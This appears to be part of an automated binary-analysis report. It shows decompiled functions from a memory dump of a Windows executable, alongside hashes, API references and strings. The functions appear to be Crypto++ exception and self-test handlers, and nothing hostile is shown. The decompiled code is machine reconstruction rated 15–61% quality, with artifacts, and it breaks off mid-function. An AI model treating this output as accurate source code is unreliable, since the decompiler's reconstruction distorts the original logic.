Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Exception@8Lockit::_Lockit::~_Throw_free$ExceptionFacet_GetctypeRaiseRegister_abort
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3606505448-1866435925
Opcode ID: 3ffdf3bc4153c3e0d3c14e361186c669fb400ea9ac7331fa4b6b78829b2b38d6
Instruction ID: 5967511c63f2852950826d7a3a731a6f8f9064317f931ec30aca39853f63c8bf
Opcode Fuzzy Hash: 3ffdf3bc4153c3e0d3c14e361186c669fb400ea9ac7331fa4b6b78829b2b38d6
Instruction Fuzzy Hash: 4261CC71A00205DFDB10CFA8C491BA9B7F4FF49314F688469E905DB2A2DB76ED06DB80

Uniqueness

Uniqueness Score: 1.31%

Function 000AFB10, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 173
UNIQUE

Download Yara Rule

C-Code - Quality: 60%

			E000AFB10(void* __ebx, intOrPtr* __ecx, intOrPtr __edx, void* __edi, void* __esi, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v60;
				char _v64;
				char _v88;
				char _v100;
				char _v112;
				char _v124;
				char _v136;
				char _v148;
				char _v160;
				char _v172;
				char _v184;
				char _v196;
				char _v208;
				char _v220;
				char _v244;
				char _v268;
				char _v292;
				char _v316;
				char _v340;
				char _v364;
				char _v388;
				char _v412;
				intOrPtr _v428;
				char _v436;
				char _v448;
				signed int _v452;
				signed int _t73;
				signed int _t74;
				intOrPtr _t76;
				void* _t77;
				intOrPtr _t78;
				void* _t85;
				void* _t87;
				void* _t89;
				void* _t91;
				void* _t93;
				signed int _t98;
				signed int _t99;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t113;
				void* _t115;
				void* _t120;
				void* _t131;
				void* _t135;
				void* _t137;
				void* _t139;
				void* _t141;
				void* _t143;
				intOrPtr* _t148;
				intOrPtr _t153;
				intOrPtr _t171;
				intOrPtr _t179;
				void* _t182;
				intOrPtr* _t183;
				void* _t189;
				void* _t191;
				intOrPtr* _t192;
				signed int _t197;
				void* _t199;
				void* _t200;
				signed int _t202;

				_t175 = __edx;
				_push(0xffffffff);
				_push(0x134937);
				_push( *[fs:0x0]);
				_t200 = _t199 - 0x1a4;
				_t73 =  *0x16f170; // 0xd529e887
				_t74 = _t73 ^ _t197;
				_v20 = _t74;
				_push(__ebx);
				_push(_t74);
				 *[fs:0x0] =  &_v16;
				_t148 = __ecx;
				_t188 = _a4;
				_t76 =  *__ecx;
				if(_t188 >= 0) {
					_t77 =  *((intOrPtr*)(_t76 + 0x24))();
					_t78 =  *__ecx;
					if(_t188 < _t77) {
						L6:
						_t182 = E000AD820(_t148, _t175,  &_v124,  *((intOrPtr*)(_t78 + 0x24))(), 0xa);
						_v8 = 0;
						_t189 = E000AD490(_t148, _t175,  &_v148, _t188, 0xa);
						_v8 = 1;
						_t153 =  *((intOrPtr*)( *((intOrPtr*)( *_t148 + 0x34))()));
						_t177 =  *((intOrPtr*)(_t153 + 8));
						_t85 =  *((intOrPtr*)( *((intOrPtr*)(_t153 + 8))))( &_v172);
						_v8 = 2;
						_t87 = E0006CBA0( &_v196, _t85, ": IV length ");
						_v8 = 3;
						_t89 = E00093360( &_v220, _t87, _t189);
						_v8 = 4;
						_t91 = E0006CBA0( &_v244, _t89, " is less than the minimum of ");
						_v8 = 5;
						_t93 = E00093360( &_v268, _t91, _t182);
						_t202 = _t200 + 0x48;
						_v8 = 6;
						E00059080(_t93);
						E001047B7( &_v60, 0x16c9bc);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t197);
						_t198 = _t202;
						_push(0xffffffff);
						_push(0x134999);
						_push( *[fs:0x0]);
						_t98 =  *0x16f170; // 0xd529e887
						_t99 = _t98 ^ _t202;
						_v452 = _t99;
						_push(_t189);
						_push(_t182);
						_push(_t99);
						 *[fs:0x0] =  &_v448;
						_t183 =  &_v60;
						_t190 = _v428;
						if(_v428 >  *((intOrPtr*)( *_t183 + 0x20))()) {
							_t191 = E000AD820(_t148, _t177,  &_v88, _t190, 0xa);
							_v12 = 0;
							_t107 = E000AD820(_t148,  *_t183,  &_v112,  *((intOrPtr*)( *_t183 + 0x20))(), 0xa);
							_v12 = 1;
							_t109 = E0006CC90( &_v136, "HashTransformation: can\'t truncate a ", _t107);
							_v12 = 2;
							_t111 = E0006CBA0( &_v160, _t109, " byte digest to ");
							_v12 = 3;
							_t113 = E00093360( &_v184, _t111, _t191);
							_v12 = 4;
							_t115 = E0006CBA0( &_v208, _t113, " bytes");
							_v12 = 5;
							E00059080(_t115);
							E001047B7( &_v64, 0x16c9bc);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_t192 =  &_v64;
							_t120 =  *((intOrPtr*)( *_t192 + 0xa4))(_t191);
							_t179 =  *_t192;
							if(_t120 == 0) {
								goto __eax;
							}
							_t179 =  *((intOrPtr*)( *((intOrPtr*)(_t179 + 0xa4))()));
							goto __eax;
						}
						 *[fs:0x0] = _v20;
						return E000ECED8(_v24 ^ _t198);
					} else {
						if(_t188 <=  *((intOrPtr*)(_t78 + 0x28))()) {
							goto L2;
						} else {
							_t131 = E000AD820(__ecx, __edx,  &_v292,  *((intOrPtr*)( *__ecx + 0x28))(), 0xa);
							_v8 = 7;
							_t188 = E000AD490(_t148, __edx,  &_v316, _t188, 0xa);
							_v8 = 8;
							_t171 =  *((intOrPtr*)( *((intOrPtr*)( *_t148 + 0x34))()));
							_t175 =  *((intOrPtr*)(_t171 + 8));
							_t135 =  *((intOrPtr*)( *((intOrPtr*)(_t171 + 8))))( &_v340);
							_v8 = 9;
							_t137 = E0006CBA0( &_v364, _t135, ": IV length ");
							_v8 = 0xa;
							_t139 = E00093360( &_v388, _t137, _t133);
							_v8 = 0xb;
							_t141 = E0006CBA0( &_v412, _t139, " exceeds the maximum of ");
							_v8 = 0xc;
							_t143 = E00093360( &_v436, _t141, _t131);
							_t200 = _t200 + 0x48;
							_v8 = 0xd;
							E00059080(_t143);
							_t78 = E001047B7( &_v100, 0x16c9bc);
							goto L6;
						}
					}
				} else {
					_t188 =  *((intOrPtr*)(_t76 + 0x20))();
					L2:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t197);
				}
			}

0x000afb10
0x000afb13
0x000afb15
0x000afb20
0x000afb21
0x000afb27
0x000afb2c
0x000afb2e
0x000afb31
0x000afb34
0x000afb38
0x000afb3e
0x000afb40
0x000afb43
0x000afb47
0x000afb6e
0x000afb75
0x000afb77
0x000afc40
0x000afc4f
0x000afc59
0x000afc6a
0x000afc70
0x000afc77
0x000afc79
0x000afc85
0x000afc93
0x000afc98
0x000afca5
0x000afcaa
0x000afcbb
0x000afcc0
0x000afccd
0x000afcd2
0x000afcd7
0x000afcde
0x000afce2
0x000afcf0
0x000afcf5
0x000afcf6
0x000afcf7
0x000afcf8
0x000afcf9
0x000afcfa
0x000afcfb
0x000afcfc
0x000afcfd
0x000afcfe
0x000afcff
0x000afd00
0x000afd01
0x000afd03
0x000afd05
0x000afd10
0x000afd17
0x000afd1c
0x000afd1e
0x000afd21
0x000afd22
0x000afd23
0x000afd27
0x000afd2d
0x000afd31
0x000afd39
0x000afd67
0x000afd6f
0x000afd7e
0x000afd87
0x000afd91
0x000afda2
0x000afda7
0x000afdb4
0x000afdb9
0x000afdca
0x000afdcf
0x000afddb
0x000afddf
0x000afded
0x000afdf2
0x000afdf3
0x000afdf4
0x000afdf5
0x000afdf6
0x000afdf7
0x000afdf8
0x000afdf9
0x000afdfa
0x000afdfb
0x000afdfc
0x000afdfd
0x000afdfe
0x000afdff
0x000afe01
0x000afe05
0x000afe0b
0x000afe11
0x000afe27
0x000afe27
0x000afe1c
0x000afe21
0x000afe21
0x000afd3e
0x000afd55
0x000afb7d
0x000afb82
0x00000000
0x000afb84
0x000afb95
0x000afba4
0x000afbb5
0x000afbbb
0x000afbc2
0x000afbc4
0x000afbd0
0x000afbde
0x000afbe3
0x000afbf0
0x000afbf5
0x000afc06
0x000afc0b
0x000afc18
0x000afc1d
0x000afc22
0x000afc29
0x000afc2d
0x000afc3b
0x00000000
0x000afc3b
0x000afb82
0x000afb49
0x000afb4c
0x000afb4e
0x000afb53
0x000afb6b
0x000afb6b

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000AFC3B
__CxxThrowException@8.LIBVCRUNTIME ref: 000AFCF0

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

is less than the minimum of , xrefs: 000AFCAF
: IV length , xrefs: 000AFBD2, 000AFC87
exceeds the maximum of , xrefs: 000AFBFA

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: exceeds the maximum of $ is less than the minimum of $: IV length
API String ID: 654547538-1273958906
Opcode ID: 2848faa5f40869c5774999f2f47d530ba54d384f53e36309e2826c99b45fb51b
Instruction ID: 8eeabd87e6843c26f5831173b6d36be7c7d25195b4af4e547f25f9b86a9a4a73
Opcode Fuzzy Hash: 2848faa5f40869c5774999f2f47d530ba54d384f53e36309e2826c99b45fb51b
Instruction Fuzzy Hash: B3519271A00258AFDB10EBA4CC49FDFBBBCAF59314F004199F549E7282DB749A04CBA1

Uniqueness

Uniqueness Score: 100.00%

Function 00062F50, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 151
UNIQUE

Download Yara Rule

C-Code - Quality: 15%

			E00062F50(void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				signed int _v20;
				signed int _v24;
				char _v44;
				char _v48;
				char _v84;
				char _v88;
				char _v96;
				intOrPtr _v100;
				char _v120;
				signed int _v124;
				intOrPtr _v188;
				intOrPtr _v192;
				intOrPtr _v196;
				signed int _t35;
				signed int _t36;
				signed int _t47;
				signed int _t48;
				intOrPtr _t54;
				intOrPtr _t57;
				intOrPtr* _t87;
				intOrPtr _t89;
				intOrPtr* _t92;
				intOrPtr* _t93;
				intOrPtr* _t94;
				signed int _t97;
				signed int _t98;
				void* _t100;
				signed int _t101;

				_push(0xffffffff);
				_push(0x12e4b8);
				_push( *[fs:0x0]);
				_t101 = _t100 - 0x44;
				_t35 =  *0x16f170; // 0xd529e887
				_t36 = _t35 ^ _t97;
				_v20 = _t36;
				_push(_t36);
				 *[fs:0x0] =  &_v16;
				_t92 = _a4;
				_push(__ecx + 0xc);
				_push(0x175890);
				_push("OutputStringPointer");
				if( *((intOrPtr*)( *((intOrPtr*)( *_t92 + 4))))() == 0) {
					E00064B00( &_v44, "StringSink: OutputStringPointer not specified");
					_v8 = 0;
					E00059080( &_v44);
					E001047B7( &_v84, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t97);
					_t98 = _t101;
					_push(0xffffffff);
					_push(0x12e4e8);
					_push( *[fs:0x0]);
					_t47 =  *0x16f170; // 0xd529e887
					_t48 = _t47 ^ _t98;
					_v124 = _t48;
					_push(_t92);
					_push(_t48);
					 *[fs:0x0] =  &_v120;
					_t93 =  &_v84;
					_t89 = _v100;
					if(_v96 == 0) {
						L6:
						_t94 =  *((intOrPtr*)( *_t93 + 0xa8))();
						if(_t94 != 0) {
							_t54 = _a8;
							if(_t54 == 0) {
								goto L9;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *_t94 + 0x94))))(_t89, _a4, _t54 - 1, _a12);
							}
						}
						 *[fs:0x0] = _v20;
						return E000ECED8(_v24 ^ _t98);
					} else {
						_t57 =  *_t93;
						_t87 =  *((intOrPtr*)(_t57 + 0xc0));
						if(_t57 == 0x13e728) {
							L13:
							E00064B00( &_v48, "Unflushable<T>: this object has buffered input that cannot be flushed");
							_v12 = 0;
							E00059170( &_v48);
							E001047B7( &_v88, 0x16cb98);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							return  *((intOrPtr*)( *((intOrPtr*)(_v88 + 0x94))))(0x16f03c, _v196, _v192, _v188, _t98);
						} else {
							if( *_t87() != 0) {
								goto L6;
							} else {
								goto L13;
							}
						}
					}
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t97);
				}
			}

0x00062f53
0x00062f55
0x00062f60
0x00062f61
0x00062f64
0x00062f69
0x00062f6b
0x00062f6f
0x00062f73
0x00062f79
0x00062f84
0x00062f85
0x00062f8a
0x00062f95
0x00062fbb
0x00062fc3
0x00062fce
0x00062fdc
0x00062fe1
0x00062fe2
0x00062fe3
0x00062fe4
0x00062fe5
0x00062fe6
0x00062fe7
0x00062fe8
0x00062fe9
0x00062fea
0x00062feb
0x00062fec
0x00062fed
0x00062fee
0x00062fef
0x00062ff0
0x00062ff1
0x00062ff3
0x00062ff5
0x00063000
0x00063004
0x00063009
0x0006300b
0x0006300e
0x00063010
0x00063014
0x0006301a
0x00063020
0x00063023
0x00063036
0x00063040
0x00063044
0x00063046
0x0006304b
0x00000000
0x0006304d
0x00063060
0x00063060
0x0006304b
0x00063069
0x00063080
0x00063025
0x00063025
0x00063027
0x00063032
0x0006308b
0x00063093
0x0006309b
0x000630a6
0x000630b4
0x000630b9
0x000630ba
0x000630bb
0x000630bc
0x000630bd
0x000630be
0x000630bf
0x000630dc
0x00063034
0x00063087
0x00000000
0x00063089
0x00000000
0x00063089
0x00063087
0x00063032
0x00062f97
0x00062f9a
0x00062fb0
0x00062fb0

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00062FDC

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000630B4

Strings

StringSink: OutputStringPointer not specified, xrefs: 00062FB3
Unflushable<T>: this object has buffered input that cannot be flushed, xrefs: 0006308B
OutputStringPointer, xrefs: 00062F8A

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: OutputStringPointer$StringSink: OutputStringPointer not specified$Unflushable<T>: this object has buffered input that cannot be flushed
API String ID: 654547538-648866486
Opcode ID: 50ff99cae440bf77223f81920bc0d0c44fdc4b736cc8c0b0eeaa3787284a138e
Instruction ID: ddfa68025230404028e47dfc137c35e7db11240c98cd73b4e6a5e3076f8ed86e
Opcode Fuzzy Hash: 50ff99cae440bf77223f81920bc0d0c44fdc4b736cc8c0b0eeaa3787284a138e
Instruction Fuzzy Hash: 37417C71A04208AFDB20DFA4DC51FEEB7F9EB49710F50456AF815A7281DB71AA05CB90

Uniqueness

Uniqueness Score: 100.00%

Function 0008F250, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 134
UNIQUE

Download Yara Rule

C-Code - Quality: 27%

			E0008F250(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				intOrPtr _v104;
				char _v112;
				signed int _v116;
				char _v140;
				char _v180;
				intOrPtr _v192;
				char _v200;
				intOrPtr* _v204;
				signed int _t32;
				signed int _t33;
				signed int _t44;
				signed int _t45;
				signed int _t53;
				intOrPtr* _t68;
				intOrPtr* _t78;
				intOrPtr _t81;
				signed int _t83;
				signed int _t84;
				void* _t86;
				signed int _t87;
				signed int _t88;

				_push(0xffffffff);
				_push(0x12d498);
				_push( *[fs:0x0]);
				_t87 = _t86 - 0x44;
				_t32 =  *0x16f170; // 0xd529e887
				_t33 = _t32 ^ _t83;
				_v20 = _t33;
				_push(_t33);
				 *[fs:0x0] =  &_v16;
				_push(_a8);
				_t76 = _a4;
				_push(_a4);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0xc))))() == 0) {
					E00064B00( &_v44, "CryptoMaterial: this object contains invalid values");
					_v8 = 0;
					E0008F1E0( &_v44);
					E001047B7( &_v84, 0x16d370);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t83);
					_t84 = _t87;
					_push(0xffffffff);
					_push(0x12d498);
					_push( *[fs:0x0]);
					_t88 = _t87 - 0x44;
					_t44 =  *0x16f170; // 0xd529e887
					_t45 = _t44 ^ _t84;
					_v116 = _t45;
					_push(_t45);
					 *[fs:0x0] =  &_v112;
					E00064B00( &_v140, "CryptoMaterial: this object does not support precomputation");
					_v104 = 0;
					_t68 =  &_v180;
					E00059100( &_v140);
					E001047B7( &_v180, 0x16d328);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t84);
					_push(0xffffffff);
					_push(0x12ce78);
					_push( *[fs:0x0]);
					_push(_t68);
					_t53 =  *0x16f170; // 0xd529e887
					_push(_t53 ^ _t88);
					 *[fs:0x0] =  &_v200;
					_t78 = _t68;
					_v204 = _t78;
					_t81 = _v180;
					asm("xorps xmm0, xmm0");
					 *_t78 = 0x13a468;
					asm("movq [eax], xmm0");
					E001041DE(_t81 + 4, _t78 + 4);
					_v192 = 0;
					 *_t78 = 0x13b7a4;
					 *((intOrPtr*)(_t78 + 0xc)) =  *((intOrPtr*)(_t81 + 0xc));
					E00064B40(_t78 + 0x10, _t76, _t81 + 0x10);
					 *_t78 = 0x13e28c;
					 *[fs:0x0] = _v200;
					return _t78;
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t83);
				}
			}

0x0008f253
0x0008f255
0x0008f260
0x0008f261
0x0008f264
0x0008f269
0x0008f26b
0x0008f26e
0x0008f272
0x0008f27a
0x0008f27d
0x0008f280
0x0008f288
0x0008f2ad
0x0008f2b5
0x0008f2c0
0x0008f2ce
0x0008f2d3
0x0008f2d4
0x0008f2d5
0x0008f2d6
0x0008f2d7
0x0008f2d8
0x0008f2d9
0x0008f2da
0x0008f2db
0x0008f2dc
0x0008f2dd
0x0008f2de
0x0008f2df
0x0008f2e0
0x0008f2e1
0x0008f2e3
0x0008f2e5
0x0008f2f0
0x0008f2f1
0x0008f2f4
0x0008f2f9
0x0008f2fb
0x0008f2fe
0x0008f302
0x0008f310
0x0008f318
0x0008f320
0x0008f323
0x0008f331
0x0008f336
0x0008f337
0x0008f338
0x0008f339
0x0008f33a
0x0008f33b
0x0008f33c
0x0008f33d
0x0008f33e
0x0008f33f
0x0008f340
0x0008f343
0x0008f345
0x0008f350
0x0008f351
0x0008f354
0x0008f35b
0x0008f35f
0x0008f365
0x0008f367
0x0008f36a
0x0008f370
0x0008f373
0x0008f37a
0x0008f382
0x0008f38a
0x0008f394
0x0008f39d
0x0008f3a4
0x0008f3a9
0x0008f3b4
0x0008f3c1
0x0008f28a
0x0008f28d
0x0008f2a2
0x0008f2a2

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0008F2CE

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 0008F331
___std_exception_copy.LIBVCRUNTIME ref: 0008F382

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

CryptoMaterial: this object does not support precomputation, xrefs: 0008F308
CryptoMaterial: this object contains invalid values, xrefs: 0008F2A5

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID: CryptoMaterial: this object contains invalid values$CryptoMaterial: this object does not support precomputation
API String ID: 106381449-3364311089
Opcode ID: 9418d56845af110575863b0c13332a31463391c4d2d94a4d6eaf8d6f23958401
Instruction ID: 783751ac1496a53278690ea400befa2f5ff4f1cb7b2a96b3698be9c58a769943
Opcode Fuzzy Hash: 9418d56845af110575863b0c13332a31463391c4d2d94a4d6eaf8d6f23958401
Instruction Fuzzy Hash: 08412CB2900649EBCB10DFA4DC41FEEF7F8FB59720F50462AE815A7681EB74A504CB90

Uniqueness

Uniqueness Score: 100.00%

Function 000ADB10, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
UNIQUE

Download Yara Rule

C-Code - Quality: 40%

			E000ADB10(void* __ecx, void* __edx, char _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v84;
				char _v124;
				intOrPtr _v128;
				intOrPtr _v140;
				char _v148;
				intOrPtr* _v152;
				signed int _t28;
				signed int _t29;
				signed int _t42;
				intOrPtr* _t64;
				void* _t70;
				intOrPtr* _t72;
				void* _t75;
				intOrPtr _t77;
				signed int _t79;
				void* _t81;
				signed int _t82;

				_t70 = __edx;
				_push(0xffffffff);
				_push(0x134400);
				_push( *[fs:0x0]);
				_t82 = _t81 - 0x6c;
				_t28 =  *0x16f170; // 0xd529e887
				_t29 = _t28 ^ _t79;
				_v20 = _t29;
				_push(_t29);
				 *[fs:0x0] =  &_v16;
				_t75 = __ecx;
				if(_a4 == 0 || E00052670() == 0) {
					L5:
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t79);
				} else {
					if(E000D2F20() != 0 || E00052670() != 0) {
						if(E000D2F20() == 1) {
							goto L7;
						} else {
							goto L5;
						}
					} else {
						E00064B00( &_v44, "Cryptographic algorithms are disabled before the power-up self tests are performed.");
						_v8 = 0;
						E000AE210( &_v44);
						E001047B7( &_v84, 0x1678b0);
						L7:
						E00064B00( &_v44, "Cryptographic algorithms are disabled after a power-up self test failed.");
						_v8 = 1;
						_t64 =  &_v124;
						E000AE210( &_v44);
						E001047B7( &_v124, 0x1678b0);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(_t79);
						_push(0xffffffff);
						_push(0x134438);
						_push( *[fs:0x0]);
						_push(_t64);
						_push(_t75);
						_t42 =  *0x16f170; // 0xd529e887
						_push(_t42 ^ _t82);
						 *[fs:0x0] =  &_v148;
						_t72 = _t64;
						_v152 = _t72;
						_t77 = _v128;
						asm("xorps xmm0, xmm0");
						 *_t72 = 0x13a468;
						asm("movq [eax], xmm0");
						_t20 = _t77 + 4; // 0xd529e88b
						E001041DE(_t20, _t72 + 4);
						 *_t72 = 0x13b7a4;
						 *((intOrPtr*)(_t72 + 0xc)) =  *((intOrPtr*)(_t77 + 0xc));
						_t24 = _t77 + 0x10; // 0xd529e897
						_v140 = 0;
						E00064B40(_t72 + 0x10, _t70, _t24);
						 *_t72 = 0x13b7c8;
						 *[fs:0x0] = _v148;
						return _t72;
					}
				}
			}

0x000adb10
0x000adb13
0x000adb15
0x000adb20
0x000adb21
0x000adb24
0x000adb29
0x000adb2b
0x000adb2f
0x000adb33
0x000adb39
0x000adb3f
0x000adb66
0x000adb6b
0x000adb81
0x000adb4a
0x000adb51
0x000adb64
0x00000000
0x00000000
0x00000000
0x00000000
0x000adb84
0x000adb8c
0x000adb94
0x000adb9f
0x000adbad
0x000adbb2
0x000adbba
0x000adbc2
0x000adbca
0x000adbcd
0x000adbdb
0x000adbe0
0x000adbe1
0x000adbe2
0x000adbe3
0x000adbe4
0x000adbe5
0x000adbe6
0x000adbe7
0x000adbe8
0x000adbe9
0x000adbea
0x000adbeb
0x000adbec
0x000adbed
0x000adbee
0x000adbef
0x000adbf0
0x000adbf3
0x000adbf5
0x000adc00
0x000adc01
0x000adc02
0x000adc04
0x000adc0b
0x000adc0f
0x000adc15
0x000adc17
0x000adc1a
0x000adc20
0x000adc23
0x000adc2a
0x000adc2e
0x000adc32
0x000adc3a
0x000adc46
0x000adc49
0x000adc4d
0x000adc54
0x000adc59
0x000adc64
0x000adc71
0x000adc71
0x000adb51

APIs

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Strings

Cryptographic algorithms are disabled after a power-up self test failed., xrefs: 000ADBB2
Cryptographic algorithms are disabled before the power-up self tests are performed., xrefs: 000ADB84

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID: Cryptographic algorithms are disabled after a power-up self test failed.$Cryptographic algorithms are disabled before the power-up self tests are performed.
API String ID: 106381449-3345525433
Opcode ID: 07ade1fd4551e3e9f886414cbdc31e750a9d9010fde4c9f1d02585dfc4811f87
Instruction ID: 411b1fe22908e012b4d6fc3426da08bee6ead68e63c7ecf5178d495a17a5e256
Opcode Fuzzy Hash: 07ade1fd4551e3e9f886414cbdc31e750a9d9010fde4c9f1d02585dfc4811f87
Instruction Fuzzy Hash: 35417071914608EBCB10DFA4D841BEEF7FCFF16720F40462AE911A3681EB71A904CBA0

Uniqueness

Uniqueness Score: 100.00%

Function 000C9CE0, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 114
UNIQUE

Download Yara Rule

C-Code - Quality: 61%

			E000C9CE0(void* __ebx, void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v12;
				intOrPtr _v16;
				char _v19;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				void* __edi;
				void* __esi;
				void* _t34;
				void* _t37;
				signed int _t38;
				signed int _t39;
				intOrPtr* _t45;
				void* _t46;
				void* _t49;
				intOrPtr* _t55;
				intOrPtr _t59;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr* _t64;
				void* _t66;
				intOrPtr* _t70;
				void* _t71;
				void* _t72;

				_t49 = __ebx;
				E000C9810( &_v36, __ecx - 0x3c, _a4, _a8, _a12, 0);
				if(_v19 == 0) {
					L4:
					if(_v20 != 0) {
						L15:
						_t72 = _t71 - 0xc;
						_v16 = 0x91bb0;
						_v12 = 0xfffffff8;
						asm("movq xmm0, [ebp-0xc]");
						_push("Modulus");
						asm("movq [eax], xmm0");
						 *((intOrPtr*)(_t72 + 8)) = 0;
						_t34 = E000C9580(_t49,  &_v36);
